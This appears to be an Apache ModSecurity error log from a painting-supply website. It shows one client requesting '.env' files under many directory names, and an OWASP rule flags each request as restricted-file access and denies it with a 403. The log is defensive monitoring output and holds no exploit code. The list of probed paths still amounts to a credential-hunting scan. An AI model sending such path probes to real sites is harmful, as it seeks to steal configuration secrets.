[Sun Oct 25 11:55:18.939083 2026] [security2:error] [pid 2858946:tid 2858946] [client 35.198.57.29:48336] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /model/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at4mZvDoiLETcvKRGq5FYQAAAAk"]
[Sun Oct 25 11:55:18.946325 2026] [security2:error] [pid 2858946:tid 2858946] [client 35.198.57.29:48336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at4mZvDoiLETcvKRGq5FYQAAAAk"]
[Sun Oct 25 11:55:18.946737 2026] [security2:error] [pid 2858946:tid 2858946] [client 35.198.57.29:48336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at4mZvDoiLETcvKRGq5FYQAAAAk"]
[Sun Oct 25 11:55:19.052978 2026] [security2:error] [pid 2858949:tid 2858949] [client 35.198.57.29:48298] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /pipeline/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at4mZ8LUxsa_IUcL6-YFBwAAAAs"]
[Sun Oct 25 11:55:19.053204 2026] [security2:error] [pid 2858949:tid 2858949] [client 35.198.57.29:48298] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at4mZ8LUxsa_IUcL6-YFBwAAAAs"]
[Sun Oct 25 11:55:19.168183 2026] [security2:error] [pid 2858949:tid 2858949] [client 35.198.57.29:48298] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at4mZ8LUxsa_IUcL6-YFBwAAAAs"]
[Sun Oct 25 11:55:19.091048 2026] [security2:error] [pid 2855805:tid 2855805] [client 35.198.57.29:48152] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lib/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at4mZ9C9X1saEIOersrHRAAAABY"]
[Sun Oct 25 11:55:19.190837 2026] [security2:error] [pid 2855805:tid 2855805] [client 35.198.57.29:48152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at4mZ9C9X1saEIOersrHRAAAABY"]
[Sun Oct 25 11:55:19.191241 2026] [security2:error] [pid 2855805:tid 2855805] [client 35.198.57.29:48152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at4mZ9C9X1saEIOersrHRAAAABY"]
[Sun Oct 25 11:55:18.947860 2026] [security2:error] [pid 2858956:tid 2858956] [client 35.198.57.29:48384] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /data/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at4mZr-adcjghMmnEGAMPgAAABI"]
[Sun Oct 25 11:55:19.191869 2026] [security2:error] [pid 2858956:tid 2858956] [client 35.198.57.29:48384] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at4mZr-adcjghMmnEGAMPgAAABI"]
[Sun Oct 25 11:55:19.192139 2026] [security2:error] [pid 2858956:tid 2858956] [client 35.198.57.29:48384] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at4mZr-adcjghMmnEGAMPgAAABI"]
[Sun Oct 25 11:55:19.391565 2026] [ssl:error] [pid 2858965:tid 2858965] (70014)End of file found: [client 52.202.233.37:46704] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:55:20.530130 2026] [security2:error] [pid 2858952:tid 2858952] [client 35.198.57.29:48296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /common/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at4maFHudjrSkDPIE3RAXwAAAA4"]
[Sun Oct 25 11:55:20.530357 2026] [security2:error] [pid 2858952:tid 2858952] [client 35.198.57.29:48296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at4maFHudjrSkDPIE3RAXwAAAA4"]
[Sun Oct 25 11:55:20.530649 2026] [security2:error] [pid 2858952:tid 2858952] [client 35.198.57.29:48296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at4maFHudjrSkDPIE3RAXwAAAA4"]
[Sun Oct 25 11:55:20.577930 2026] [security2:error] [pid 2855794:tid 2855794] [client 35.198.57.29:48186] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cmd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at4maJa7jgKKz5LnrbxLFQAAAAQ"]
[Sun Oct 25 11:55:20.578152 2026] [security2:error] [pid 2855794:tid 2855794] [client 35.198.57.29:48186] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at4maJa7jgKKz5LnrbxLFQAAAAQ"]
[Sun Oct 25 11:55:20.578469 2026] [security2:error] [pid 2855794:tid 2855794] [client 35.198.57.29:48186] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at4maJa7jgKKz5LnrbxLFQAAAAQ"]
[Sun Oct 25 11:55:20.579695 2026] [security2:error] [pid 2858940:tid 2858940] [client 35.198.57.29:48206] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /internal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at4maP7eNafb1CKd8kL_ewAAAAE"]
[Sun Oct 25 11:55:20.579863 2026] [security2:error] [pid 2858940:tid 2858940] [client 35.198.57.29:48206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at4maP7eNafb1CKd8kL_ewAAAAE"]
[Sun Oct 25 11:55:20.580084 2026] [security2:error] [pid 2858940:tid 2858940] [client 35.198.57.29:48206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at4maP7eNafb1CKd8kL_ewAAAAE"]
[Sun Oct 25 11:55:20.641712 2026] [security2:error] [pid 2858963:tid 2858963] [client 35.198.57.29:35828] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /portal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at4maJKK2zg-7ML96ykGdwAAAB4"]
[Sun Oct 25 11:55:20.642062 2026] [security2:error] [pid 2858963:tid 2858963] [client 35.198.57.29:35828] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at4maJKK2zg-7ML96ykGdwAAAB4"]
[Sun Oct 25 11:55:20.642501 2026] [security2:error] [pid 2858963:tid 2858963] [client 35.198.57.29:35828] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at4maJKK2zg-7ML96ykGdwAAAB4"]
[Sun Oct 25 11:55:20.639369 2026] [security2:error] [pid 2858960:tid 2858960] [client 35.198.57.29:48394] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at4maFWeCyhzvHzx7cjgVAAAABg"]
[Sun Oct 25 11:55:20.646639 2026] [security2:error] [pid 2858960:tid 2858960] [client 35.198.57.29:48394] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at4maFWeCyhzvHzx7cjgVAAAABg"]
[Sun Oct 25 11:55:20.646909 2026] [security2:error] [pid 2858960:tid 2858960] [client 35.198.57.29:48394] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at4maFWeCyhzvHzx7cjgVAAAABg"]
[Sun Oct 25 11:55:20.594740 2026] [security2:error] [pid 2858959:tid 2858959] [client 35.198.57.29:48356] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /pkg/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at4maBi8dO14gXi2isID6wAAABc"]
[Sun Oct 25 11:55:20.722769 2026] [security2:error] [pid 2858959:tid 2858959] [client 35.198.57.29:48356] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at4maBi8dO14gXi2isID6wAAABc"]
[Sun Oct 25 11:55:20.723242 2026] [security2:error] [pid 2858959:tid 2858959] [client 35.198.57.29:48356] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at4maBi8dO14gXi2isID6wAAABc"]
[Sun Oct 25 11:55:20.869995 2026] [security2:error] [pid 2858946:tid 2858946] [client 35.198.57.29:48336] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shop/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at4maPDoiLETcvKRGq5FYgAAAAk"]
[Sun Oct 25 11:55:20.973417 2026] [security2:error] [pid 2858946:tid 2858946] [client 35.198.57.29:48336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at4maPDoiLETcvKRGq5FYgAAAAk"]
[Sun Oct 25 11:55:20.974073 2026] [security2:error] [pid 2858946:tid 2858946] [client 35.198.57.29:48336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at4maPDoiLETcvKRGq5FYgAAAAk"]
[Sun Oct 25 11:55:20.996106 2026] [security2:error] [pid 2855794:tid 2855794] [client 35.198.57.29:48186] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /panel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at4maJa7jgKKz5LnrbxLFgAAAAQ"]
[Sun Oct 25 11:55:20.996340 2026] [security2:error] [pid 2855794:tid 2855794] [client 35.198.57.29:48186] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at4maJa7jgKKz5LnrbxLFgAAAAQ"]
[Sun Oct 25 11:55:20.996708 2026] [security2:error] [pid 2855794:tid 2855794] [client 35.198.57.29:48186] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at4maJa7jgKKz5LnrbxLFgAAAAQ"]
[Sun Oct 25 11:55:20.997708 2026] [security2:error] [pid 2858960:tid 2858960] [client 35.198.57.29:48394] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dashboard/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at4maFWeCyhzvHzx7cjgVQAAABg"]
[Sun Oct 25 11:55:20.997857 2026] [security2:error] [pid 2858960:tid 2858960] [client 35.198.57.29:48394] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at4maFWeCyhzvHzx7cjgVQAAABg"]
[Sun Oct 25 11:55:20.998079 2026] [security2:error] [pid 2858960:tid 2858960] [client 35.198.57.29:48394] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at4maFWeCyhzvHzx7cjgVQAAABg"]
